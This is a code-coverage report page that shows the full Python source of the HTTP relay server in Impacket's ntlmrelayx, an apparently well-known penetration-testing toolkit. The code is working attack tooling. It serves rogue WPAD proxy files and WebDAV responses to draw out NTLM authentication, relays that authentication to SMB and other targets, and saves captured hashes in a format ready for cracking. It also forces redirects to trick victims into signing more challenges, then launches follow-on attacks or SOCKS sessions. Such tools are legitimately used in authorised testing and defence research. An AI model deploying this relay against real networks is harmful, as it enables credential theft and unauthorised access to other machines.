Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py : 10%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# HTTP Relay Server
11#
12# This is the HTTP server which relays the NTLMSSP messages to other protocols
13#
14# Authors:
15# Alberto Solino (@agsolino)
16# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
17#
19import http.server
20import socketserver
21import socket
22import base64
23import random
24import struct
25import string
26from threading import Thread
27from six import PY2, b
29from impacket import ntlm, LOG
30from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
31from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
32from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
33from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
35class HTTPRelayServer(Thread):
37 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
38 def __init__(self, server_address, RequestHandlerClass, config):
39 self.config = config
40 self.daemon_threads = True
41 if self.config.ipv6:
42 self.address_family = socket.AF_INET6
43 # Tracks the number of times authentication was prompted for WPAD per client
44 self.wpad_counters = {}
45 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
47 class HTTPHandler(http.server.SimpleHTTPRequestHandler):
48 def __init__(self,request, client_address, server):
49 self.server = server
50 self.protocol_version = 'HTTP/1.1'
51 self.challengeMessage = None
52 self.target = None
53 self.client = None
54 self.machineAccount = None
55 self.machineHashes = None
56 self.domainIp = None
57 self.authUser = None
58 self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
59 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
60 'return "PROXY %s:80; DIRECT";} '
61 if self.server.config.mode != 'REDIRECT':
62 if self.server.config.target is None:
63 # Reflection mode, defaults to SMB at the target, for now
64 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
65 self.target = self.server.config.target.getTarget()
66 if self.target is None:
67 LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0])
68 return
69 LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
70 try:
71 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
72 except Exception as e:
73 LOG.debug("Exception:", exc_info=True)
74 LOG.error(str(e))
76 def handle_one_request(self):
77 try:
78 http.server.SimpleHTTPRequestHandler.handle_one_request(self)
79 except KeyboardInterrupt:
80 raise
81 except Exception as e:
82 LOG.debug("Exception:", exc_info=True)
83 LOG.error('Exception in HTTP request handler: %s' % e)
85 def log_message(self, format, *args):
86 return
88 def send_error(self, code, message=None):
89 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
90 return self.do_GET()
91 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
93 def serve_wpad(self):
94 wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)
95 self.send_response(200)
96 self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')
97 self.send_header('Content-Length',len(wpadResponse))
98 self.end_headers()
99 self.wfile.write(b(wpadResponse))
100 return
102 def should_serve_wpad(self, client):
103 # If the client was already prompted for authentication, see how many times this happened
104 try:
105 num = self.server.wpad_counters[client]
106 except KeyError:
107 num = 0
108 self.server.wpad_counters[client] = num + 1
109 # Serve WPAD if we passed the authentication offer threshold
110 if num >= self.server.config.wpad_auth_num:
111 return True
112 else:
113 return False
115 def serve_image(self):
116 with open(self.server.config.serve_image, 'rb') as imgFile:
117 imgFile_data = imgFile.read()
118 self.send_response(200, "OK")
119 self.send_header('Content-type', 'image/jpeg')
120 self.send_header('Content-Length', str(len(imgFile_data)))
121 self.end_headers()
122 self.wfile.write(imgFile_data)
124 def do_HEAD(self):
125 self.send_response(200)
126 self.send_header('Content-type', 'text/html')
127 self.end_headers()
129 def do_OPTIONS(self):
130 self.send_response(200)
131 self.send_header('Allow',
132 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')
133 self.send_header('Content-Length', '0')
134 self.send_header('Connection', 'close')
135 self.end_headers()
136 return
138 def do_PROPFIND(self):
139 proxy = False
140 if (".jpg" in self.path) or (".JPG" in self.path):
141 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
142 else:
143 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
145 messageType = 0
146 if PY2:
147 autorizationHeader = self.headers.getheader('Authorization')
148 else:
149 autorizationHeader = self.headers.get('Authorization')
150 if autorizationHeader is None:
151 self.do_AUTHHEAD(message=b'NTLM')
152 pass
153 else:
154 typeX = autorizationHeader
155 try:
156 _, blob = typeX.split('NTLM')
157 token = base64.b64decode(blob.strip())
158 except:
159 self.do_AUTHHEAD()
160 messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
162 if messageType == 1:
163 if not self.do_ntlm_negotiate(token, proxy=proxy):
164 LOG.info("do negotiate failed, sending redirect")
165 self.do_REDIRECT()
166 elif messageType == 3:
167 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
168 authenticateMessage.fromString(token)
170 if not self.do_ntlm_auth(token,authenticateMessage):
171 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
172 LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (
173 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
174 authenticateMessage['user_name'].decode('utf-16le')))
175 else:
176 LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (
177 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
178 authenticateMessage['user_name'].decode('ascii')))
179 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
180 # which we don't want
181 if authenticateMessage['user_name'] != b'':
182 self.server.config.target.logTarget(self.target)
183 # No anonymous login, go to next host and avoid triggering a popup
184 self.do_REDIRECT()
185 else:
186 #If it was an anonymous login, send 401
187 self.do_AUTHHEAD(b'NTLM', proxy=proxy)
188 else:
189 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
190 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
191 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
192 authenticateMessage['user_name'].decode('utf-16le')))
193 else:
194 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
195 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
196 authenticateMessage['user_name'].decode('ascii')))
198 self.do_attack()
199 self.send_response(207, "Multi-Status")
200 self.send_header('Content-Type', 'application/xml')
201 self.send_header('Content-Length', str(len(content)))
202 self.end_headers()
203 self.wfile.write(content)
204 return
206 def do_AUTHHEAD(self, message = b'', proxy=False):
207 if proxy:
208 self.send_response(407)
209 self.send_header('Proxy-Authenticate', message.decode('utf-8'))
210 else:
211 self.send_response(401)
212 self.send_header('WWW-Authenticate', message.decode('utf-8'))
213 self.send_header('Content-type', 'text/html')
214 self.send_header('Content-Length','0')
215 self.end_headers()
217 #Trickery to get the victim to sign more challenges
218 def do_REDIRECT(self, proxy=False):
219 rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
220 self.send_response(302)
221 self.send_header('WWW-Authenticate', 'NTLM')
222 self.send_header('Content-type', 'text/html')
223 self.send_header('Connection','close')
224 self.send_header('Location','/%s' % rstr)
225 self.send_header('Content-Length','0')
226 self.end_headers()
228 def do_SMBREDIRECT(self):
229 self.send_response(302)
230 self.send_header('Content-type', 'text/html')
231 self.send_header('Location','file://%s' % self.server.config.redirecthost)
232 self.send_header('Content-Length','0')
233 self.send_header('Connection','close')
234 self.end_headers()
236 def do_POST(self):
237 return self.do_GET()
239 def do_CONNECT(self):
240 return self.do_GET()
242 def do_GET(self):
243 # Get the body of the request if any
244 # Otherwise, successive requests will not be handled properly
245 if PY2:
246 contentLength = self.headers.getheader("Content-Length")
247 else:
248 contentLength = self.headers.get("Content-Length")
249 if contentLength is not None:
250 body = self.rfile.read(int(contentLength))
252 messageType = 0
253 if self.server.config.mode == 'REDIRECT':
254 self.do_SMBREDIRECT()
255 return
257 LOG.info('HTTPD: Client requested path: %s' % self.path.lower())
259 # Serve WPAD if:
260 # - The client requests it
261 # - A WPAD host was provided in the command line options
262 # - The client has not exceeded the wpad_auth_num threshold yet
263 if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
264 LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
265 self.serve_wpad()
266 return
268 # Determine if the user is connecting to our server directly or attempts to use it as a proxy
269 if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
270 proxy = True
271 else:
272 proxy = False
274 if PY2:
275 proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
276 autorizationHeader = self.headers.getheader('Authorization')
277 else:
278 proxyAuthHeader = self.headers.get('Proxy-Authorization')
279 autorizationHeader = self.headers.get('Authorization')
281 if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):
282 self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)
283 pass
284 else:
285 if proxy:
286 typeX = proxyAuthHeader
287 else:
288 typeX = autorizationHeader
289 try:
290 _, blob = typeX.split('NTLM')
291 token = base64.b64decode(blob.strip())
292 except Exception:
293 LOG.debug("Exception:", exc_info=True)
294 self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
295 else:
296 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
298 if messageType == 1:
299 if not self.do_ntlm_negotiate(token, proxy=proxy):
300 #Connection failed
301 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
302 self.target.scheme, self.target.netloc)
303 self.server.config.target.logTarget(self.target)
304 self.do_REDIRECT()
305 elif messageType == 3:
306 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
307 authenticateMessage.fromString(token)
309 if not self.do_ntlm_auth(token,authenticateMessage):
310 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
311 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
312 self.target.scheme, self.target.netloc,
313 authenticateMessage['domain_name'].decode('utf-16le'),
314 authenticateMessage['user_name'].decode('utf-16le')))
315 else:
316 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
317 self.target.scheme, self.target.netloc,
318 authenticateMessage['domain_name'].decode('ascii'),
319 authenticateMessage['user_name'].decode('ascii')))
321 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
322 # which we don't want
323 if authenticateMessage['user_name'] != b'': # and authenticateMessage['user_name'][-1] != '$':
324 self.server.config.target.logTarget(self.target)
325 # No anonymous login, go to next host and avoid triggering a popup
326 self.do_REDIRECT()
327 else:
328 #If it was an anonymous login, send 401
329 self.do_AUTHHEAD(b'NTLM', proxy=proxy)
330 else:
331 # Relay worked, do whatever we want here...
332 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
333 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
334 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
335 authenticateMessage['user_name'].decode('utf-16le')))
336 else:
337 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
338 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
339 authenticateMessage['user_name'].decode('ascii')))
341 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
342 authenticateMessage['user_name'],
343 authenticateMessage['domain_name'],
344 authenticateMessage['lanman'], authenticateMessage['ntlm'])
345 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
347 if self.server.config.outputFile is not None:
348 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
350 self.server.config.target.logTarget(self.target, True, self.authUser)
352 self.do_attack()
354 # Serve image and return 200 if --serve-image option has been set by user
355 if (self.server.config.serve_image):
356 self.serve_image()
357 return
359 # And answer 404 not found
360 self.send_response(404)
361 self.send_header('WWW-Authenticate', 'NTLM')
362 self.send_header('Content-type', 'text/html')
363 self.send_header('Content-Length','0')
364 self.send_header('Connection','close')
365 self.end_headers()
366 return
368 def do_ntlm_negotiate(self, token, proxy):
369 if self.target.scheme.upper() in self.server.config.protocolClients:
370 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
371 # If connection failed, return
372 if not self.client.initConnection():
373 return False
374 self.challengeMessage = self.client.sendNegotiate(token)
376 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
377 if self.server.config.remove_target:
378 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
379 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
380 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
381 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
382 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
384 # Check for errors
385 if self.challengeMessage is False:
386 return False
387 else:
388 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
389 return False
391 #Calculate auth
392 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)
393 return True
395 def do_ntlm_auth(self,token,authenticateMessage):
396 #For some attacks it is important to know the authenticated username, so we store it
397 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
398 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
399 authenticateMessage['user_name'].decode('utf-16le'))).upper()
400 else:
401 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
402 authenticateMessage['user_name'].decode('ascii'))).upper()
404 if authenticateMessage['user_name'] != b'' or self.target.hostname == '127.0.0.1':
405 clientResponse, errorCode = self.client.sendAuth(token)
406 else:
407 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
408 # when coming from localhost
409 errorCode = STATUS_ACCESS_DENIED
411 if errorCode == STATUS_SUCCESS:
412 return True
414 return False
416 def do_attack(self):
417 # Check if SOCKS is enabled and if we support the target scheme
418 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
419 # Pass all the data to the socksplugins proxy
420 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
421 self.authUser, self.client, self.client.sessionData))
422 return
424 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
425 if self.target.scheme.upper() in self.server.config.attacks:
426 # We have an attack.. go for it
427 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
428 self.authUser)
429 clientThread.start()
430 else:
431 LOG.error('No attack configured for %s' % self.target.scheme.upper())
433 def __init__(self, config):
434 Thread.__init__(self)
435 self.daemon = True
436 self.config = config
437 self.server = None
439 def run(self):
440 LOG.info("Setting up HTTP Server")
442 if self.config.listeningPort:
443 httpport = self.config.listeningPort
444 else:
445 httpport = 80
447 # changed to read from the interfaceIP set in the configuration
448 self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config)
450 try:
451 self.server.serve_forever()
452 except KeyboardInterrupt:
453 pass
454 LOG.info('Shutting down HTTP Server')
455 self.server.server_close()